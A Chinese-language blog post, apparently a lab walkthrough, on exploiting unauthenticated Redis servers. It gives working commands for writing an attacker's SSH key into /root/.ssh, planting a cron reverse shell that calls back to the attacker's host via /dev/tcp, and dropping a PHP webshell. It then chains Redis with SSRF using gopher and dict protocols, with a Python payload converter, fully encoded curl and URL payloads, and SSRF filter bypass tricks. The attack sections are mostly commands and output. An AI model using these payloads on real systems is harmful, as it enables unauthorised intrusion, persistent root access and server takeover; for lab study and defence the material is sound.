浅谈Redis未授权访问漏洞
Redis未授权访问漏洞
Redis是一种key-value键值对的非关系型数据库
默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等,Redis服务将会暴露到公网上,以及在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下进行未授权的访问Redis
Redis还支持本地存储,也就导致任意文件写入,攻击者在未授权访问以root身份运行的Redis时可将ssh公钥写入目标服务器/root/.ssh文件夹的authotrized_keys 文件中,进而通过对应私钥直接登录目标服务器
漏洞的产生条件:
- Redis绑定在127.0.0.1:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略
- 没有设置密码认证,可以免密码远程登录Redis服务
- 以root身份运行Redis
Redis简单命令了解
查看版本信息
127.0.0.1:6379> info
清空所有Redis数据库的所有key 慎用
127.0.0.1:6379> flushall
设置Redis本地存储的文件夹和文件名
127.0.0.1:6379> config set dir [PATH]
127.0.0.1:6379> config set dbfilename [FILENAME]
将当前Redis实例所有数据快照以RDB文件的形式保存到硬盘
127.0.0.1:6379> save
Redis.config简单配置了解
bind IP1 IP2 ...
bind表示本机可以接受连接的网卡地址;只有通过bind里面配置的IP才访问到Redis服务
protected-mode [no|yes]
设置protected-mode no此时外部网络可以直接访问;开启保护模式需配置bind IP或者设置访问密码
Redis漏洞环境
Attacker
Kali: 10.173.168.12
Victim
Ubuntu: 139.xxx.xx.xxx
CentOS: 10.173.168.6
修改redis.conf
# bind 127.0.0.1
protected-mode no
需要允许除本地外的主机远程连接redis服务
利用Redis实现SSH
Victim: Ubuntu
root身份运行Redis服务器
$ sudo redis-server /etc/redis.conf
Attacker本地生成一堆密钥
root@kali:~# ssh-keygen -t rsa
id_rsa.pub
root@kali:~/.ssh# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDxjYQf2AMNmfzla+Vi7zJdJWn2OB5jW8EZ5rxAtvIear3BS6JfJ197HyiAqGkMRnb/Y5F//0yJ+Amx1+eo2deUYRo/DfUuIQeRipitysNF2lxhKhBdk4O+L4QuuLqeIf0pg9dB0zSVmnThlwTo9P21V8hIXVWozmaEV8j+hb+SCFN50mqPfnQ0Wmkq3A1QTLkvLJI/EzWFqzNc46/re7Dvs05hs1kmioDFG+gsx75z3WI98g8eW/C8SWLZ3F9cV36ZeNspmqrrKCxKwZxoaOAHA+ZdOF3SkGa0FRG/pbLgV3djDv9yfNgmaqilzR7CQblaBHnuSY/AZLxF49drV+pCtuOd9Lh6g7d7PwoxaOJyIjhsf2g9bDm7IrrSsWMtkOkMg883ge/ow5TVRZLFugvRRy+yb2loiXIGd3hodvN5c7g709WlbVBhvXYMFxfPYEe/gglcoPmaB23647uDvBAbn8JhAeTw2RVqqJxCziabVaWg2MM3Tb6xK2yszrrSPrs= root@kali
Redis连接并将公钥写入Victim
root@kali:~/.ssh# redis-cli -h 139.xxx.xx.xxx
139.xxx.xx.xxx:6379> config set dir /root/.ssh
OK
139.xxx.xx.xxx:6379> config set dbfilename authorized_keys
OK
(0.54s)
139.xxx.xx.xxx:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDxjYQf2AMNmfzla+Vi7zJdJWn2OB5jW8EZ5rxAtvIear3BS6JfJ197HyiAqGkMRnb/Y5F//0yJ+Amx1+eo2deUYRo/DfUuIQeRipitysNF2lxhKhBdk4O+L4QuuLqeIf0pg9dB0zSVmnThlwTo9P21V8hIXVWozmaEV8j+hb+SCFN50mqPfnQ0Wmkq3A1QTLkvLJI/EzWFqzNc46/re7Dvs05hs1kmioDFG+gsx75z3WI98g8eW/C8SWLZ3F9cV36ZeNspmqrrKCxKwZxoaOAHA+ZdOF3SkGa0FRG/pbLgV3djDv9yfNgmaqilzR7CQblaBHnuSY/AZLxF49drV+pCtuOd9Lh6g7d7PwoxaOJyIjhsf2g9bDm7IrrSsWMtkOkMg883ge/ow5TVRZLFugvRRy+yb2loiXIGd3hodvN5c7g709WlbVBhvXYMFxfPYEe/gglcoPmaB23647uDvBAbn8JhAeTw2RVqqJxCziabVaWg2MM3Tb6xK2yszrrSPrs= root@kali\n\n\n" # \n换行,不然SSH连接会失败
OK
139.xxx.xx.xxx:6379> save
OK
SSH连接Victim
root@kali:~/.ssh# ssh -i id_rsa root@139.xxx.xx.xxx
Welcome to Ubuntu
利用Redis实现反弹Shell
Victim: CentOS
root身份运行Redis服务器
[root@centos centos]# redis-server /etc/redis.conf
Redis连接并写入反弹Shell
10.173.168.6:6379> set x "\n* * * * * /bin/bash -i > /dev/tcp/10.173.168.12/23 0<&1 2>&1\n"
OK
10.173.168.6:6379> config set dir /var/spool/cron/
OK
10.173.168.6:6379> config set dbfilename root
OK
10.173.168.6:6379> save
OK
监听23端口并等待反弹Shell
root@kali:~# nc -lvp 23

反弹Shell在Ubuntu下无法实现
由于系统的不同,定时文件位置也不同
- Centos的定时任务文件在
/var/spool/cron/root - Ubuntu定时任务文件在
/var/spool/cron/crontabs/root - 二者共有定时任务文件在
/etc/crontab
Redis以root身份写的文件权限为644,普通用户则是664,但Ubuntu要求在/var/spool/cron/crontabs/中执行定时任务的文件权限必须是600,而如果写入/etc/crontab,由于存在乱码,因此ubuntu不能正确执行定时任务;而CentOS在/var/spool/cron/中的定时任务文件权限为644就能执行
故ubuntu下通过Redis无法成功反弹shell
利用Redis写入WebShell
当redis-server以非root身份运行时,无法将/var/spool/cron/以及/root/.ssh设置为本地存储文件夹但可以写入一句话木马
Victim: Ubuntu
Redis连接并写入一句话
139.xxx.xx.xxx:6379> set x "<?php phpinfo();?>"
OK
139.xxx.xx.xxx:6379> config set dir /var/www/html
OK
139.xxx.xx.xxx:6379> config set dbfilename shell.php
OK
139.xxx.xx.xxx:6379> save
OK
访问shell.php

Redis未授权漏洞与SSRF的综合利用
了解SSRF
SSRF(Server-Side Request Forgery服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因是由服务端发起的,所以能够请求到与其相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容或加载指定地址的图片
常见格式
http://xxx.xxx.xx.xxx/index.php?url=
RESP协议
Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信
RESP协议在Redis 1.2中引入后成为Redis服务器通信的标准方式,其主要可序列化以下数据类型:整数,单行回复(简单字符串),数组,错误信息,多行字符串;RESP协议每部分都以 “\r\n” (CRLF) 结尾
RESP在Redis中用作请求 - 响应协议的方式:
- 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器
- 服务器根据命令实现回复一种RESP类型
在RESP中,数据类型取决于第一个字节:
- 对于Simple Strings,回复的第一个字节是+
- 对于error,回复的第一个字节是-
- 对于Integer,回复的第一个字节是:
- 对于Bulk Strings,回复的第一个字节是$
- 对于array,回复的第一个字节是*
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束
tcpdump抓取流量包
抓取6379端口流量
tcpdump port 6379 -w resp.pcap
连接远程Redis
xxx.xxx.xx.xxx:6379> set name hacker
OK
xxx.xxx.xx.xxx:6379> get name
"hacker"
xxx.xxx.xx.xxx:6379> del name
(integer) 1
xxx.xxx.xx.xxx:6379> get name
(nil)
所抓流量包


分析流量包
*3代表数组中数据个数为3(可以简单理解为空格为将命令分割为数组["set","name","test"]);$3代表字符串的长度,Hex中0d0a即\r\n表示结束符;+OK表示服务端执行成功后返回的字符串;$-1表示空值
SSRF漏洞相关函数和协议
以下函数使用不当会导致SSRF:
- file_get_contents()
- fsockopen()
- curl_exec()
- fopen()
- readfile()
注意事项如下:
- 一般情况下PHP不会开启fopen的gopher
- file_get_contents的gopher协议不能URL编码
- file_get_contents关于gopher的302跳转会出现bug,导致利用失败
- curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
- curl_exec()默认不跟踪跳转
- file_get_contents支持php://input协议
SSRF可利用的协议:
file:在有回显的情况下,利用 file 协议可以读取任意内容
?url=file:///etc/passwd
dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
?url=dict://127.0.0.1:6379/info
gopher:可以截获get和post请求包,再构成符合gopher协议的请求,gopher传参需要加
_?url=gopher://127.0.0.1:23/_hacker
http/s:探测内网主机存活
?url=http://172.27.16.9
利用gopher协议反弹shell
Victim: CentOS
socat抓取RESP协议流量
将反弹shell脚本写入shell.sh
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/23 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
socat端口转发
[root@centos spool]# socat -v tcp-listen:2333,fork tcp-connect:127.0.0.1:6379
socat将本地2333端口转发到6379端口,访问本地2333端口实际上是访问6379端口
执行反弹shell
bash shell.sh 127.0.0.1 2333
获取流量(处理过,注意payload结尾回车)
*3\r
$3\r
set\r
$1\r
1\r
$56\r
*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/23 0>&1
\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
*1\r
$4\r
save\r
转换获取数据
exp = ''
with open('payload.txt') as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print("gopher://127.0.0.1:6379/_" + exp.replace('$', '%24'))
curl测试转换结果
curl -v "gopher://127.0.0.1:6379/_*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2456%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/23 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2416%0d%0a/var/spool/cron/%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%244%0d%0aroot%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"
反弹成功
[root@centos ~]# ^C
[root@centos spool]# nc -lvp 23
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::23
Ncat: Listening on 0.0.0.0:23
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:52642.
bash: no job control in this shell
[root@centos ~]#
Redis保护模式开启状态下SSRF
Victim: Ubuntu
一般情况下Redis保护模式开启状态
# bind 127.0.0.1
protected-mode yes
保护模式拒绝Redis的远程连接

漏洞代码
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
一句话木马转换
f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
line = line.replace(r"\r", "%0d%0a")
line = line.replace("\n", '')
s = s + line
print("gopher://127.0.0.1:6379/_" + s.replace("$", "%24"))
转换结果在使用curl发送的时候要把一句话的两个尖括号和;和?url编码
curl -v "gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%243%0d%0aweb%0d%0a%2418%0d%0a%3c%3fphp phpinfo()%3b%3f%3e%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"
urlencode之后构造payload
http://139.xxx.xx.xxx/index.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_*1%250d%250a%25248%250d%250aflushall%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2fvar%2fwww%2fhtml%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25249%250d%250ashell.php%250d%250a*3%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250aweb%250d%250a%252418%250d%250a%253c%253fphp+phpinfo()%253b%253f%253e%250d%250a*1%250d%250a%25244%250d%250asave%250d%250a
木马植入成功

SSRF漏洞相关绕过
@
http://abc@127.0.0.1
短网址
http://tool.chinaz.com/tools/dwz.aspx 短链生成工具
句号
127。0。0。1
302跳转
https://tinyurl.com/ 302跳转平台
SSRF实战中的疑惑
在Ubuntu和CentOS靶机中测试以及进行真实渗透时出现一些奇怪现象,尝试在?url=后面拼接gopher payload时一直无法成功,于是尝试dict协议执行Redis命令的方式去写入一句话竟然成功了
dict://127.0.0.1/set x '<?php phpinfo();?>'
发现目标服务器中php版本为V

而靶机中版本为php7,用dict协议写入时会出现如下错误
-ERR Protocol error: unbalanced quotes in request
Reference
https://moelove.info/2017/03/05/理解-Redis-的-RESP-协议/
https://www.jianshu.com/p/20095384e5d2
非常感谢以上作者的资料分享
右下角还有打赏功能呦~要不测试一下打赏功能能否正常运行?
浅谈Redis未授权访问漏洞的更多相关文章
- [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上
一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...
- Redis未授权访问漏洞的利用及防护
Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...
- Redis 未授权访问漏洞(附Python脚本)
0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...
- docker搭建redis未授权访问漏洞环境
这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1 ...
- redis未授权访问漏洞那拿SHELL
一.什么是redis未授权访问漏洞: 1.redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘.主要用于快速缓存,数据转存处理等.默认redis开在6379端口,可以直接访问.并不需要 ...
- 10.Redis未授权访问漏洞复现与利用
一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...
- Redis未授权访问漏洞复现
Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...
- [转帖]Redis未授权访问漏洞复现
Redis未授权访问漏洞复现 https://www.cnblogs.com/yuzly/p/11663822.html config set dirconfig set dbfile xxxx 一. ...
- Redis未授权访问漏洞复现与利用
漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...
随机推荐
- css3 pointer-events(阻止hover、active、onclick等触发事件)
pointer-events CSS 属性指定在什么情况下 (如果有) 某个特定的图形元素可以成为鼠标事件的 target. /* Keyword values */ pointer-events: ...
- html转义字符大全_网页html特殊符号,特殊字符查看对照表(整理)
在HTML中,某些字符是预留的.比如不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签.如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体HTML中一 ...
- 3dTiles 数据规范详解[3] 内嵌在瓦片文件中的两大数据表
转载请声明出处:全网@秋意正寒 零.本篇前言 说实话,我很纠结是先介绍瓦片的二进制数据文件结构,还是先介绍这两个重要的表.思前想后,我决定还是先介绍这两个数据表. 因为这两个表不先给读者灌输,那么介绍 ...
- 使用@AutoConfigureBefore、After、Order调整Spring Boot自动配置顺序
前言 Spring Boot是Spring家族具有划时代意义的一款产品,它发展自Spring Framework却又高于它,这种高于主要表现在其最重要的三大特性,而相较于这三大特性中更为重要的便是Sp ...
- 【python接口自动化】01-requests请求
requests是模拟HTTP.https请求接口. 一.HTTP协议介绍 1.1HTTP协议特点 1.2HTTP协议组成 请求方法 主要的请求方法有:GET.POST.DELETE .PUT .HE ...
- vue项目发布时去除console语句
在vue.config.js中添加下面的代码即可 // vue-cli version > 3 modeule.exports = { configureWebpack: config => ...
- java 面向对象(二十七):注解的使用
1. 注解的理解① jdk 5.0 新增的功能*② Annotation 其实就是代码里的特殊标记, 这些标记可以在编译, 类加载, 运行时被读取, 并执行相应的处理.通过使用 Annotation, ...
- python 并发专题(十):基础部分补充(二)线程
什么是线程 标准描述开启一个进程:开启一个进程:进程会在内存中开辟一个进程空间,将主进程的资料数据全部复制一份,线程会执行里面的代码. ***进程是资源单位, 线程是执行单位:是操作系统调度的最小单元 ...
- git的工作区和暂存区
目录 备注: 知识点 工作区(Working Directory) 版本库(Repository) 备注: 本文参考于廖雪峰老师的博客Git教程.依照其博客进行学习和记录,感谢其无私分享,也欢迎各位查 ...
- react : umi 引入 antd 踩坑
首先要明确一个问题. 不管是 antd 还是 dva 还是别的什么东西,他们都是 umi 的插件——只要这个项目是使用 umi 脚手架生成的. 所以第一步应该是 .umirc.js (config.j ...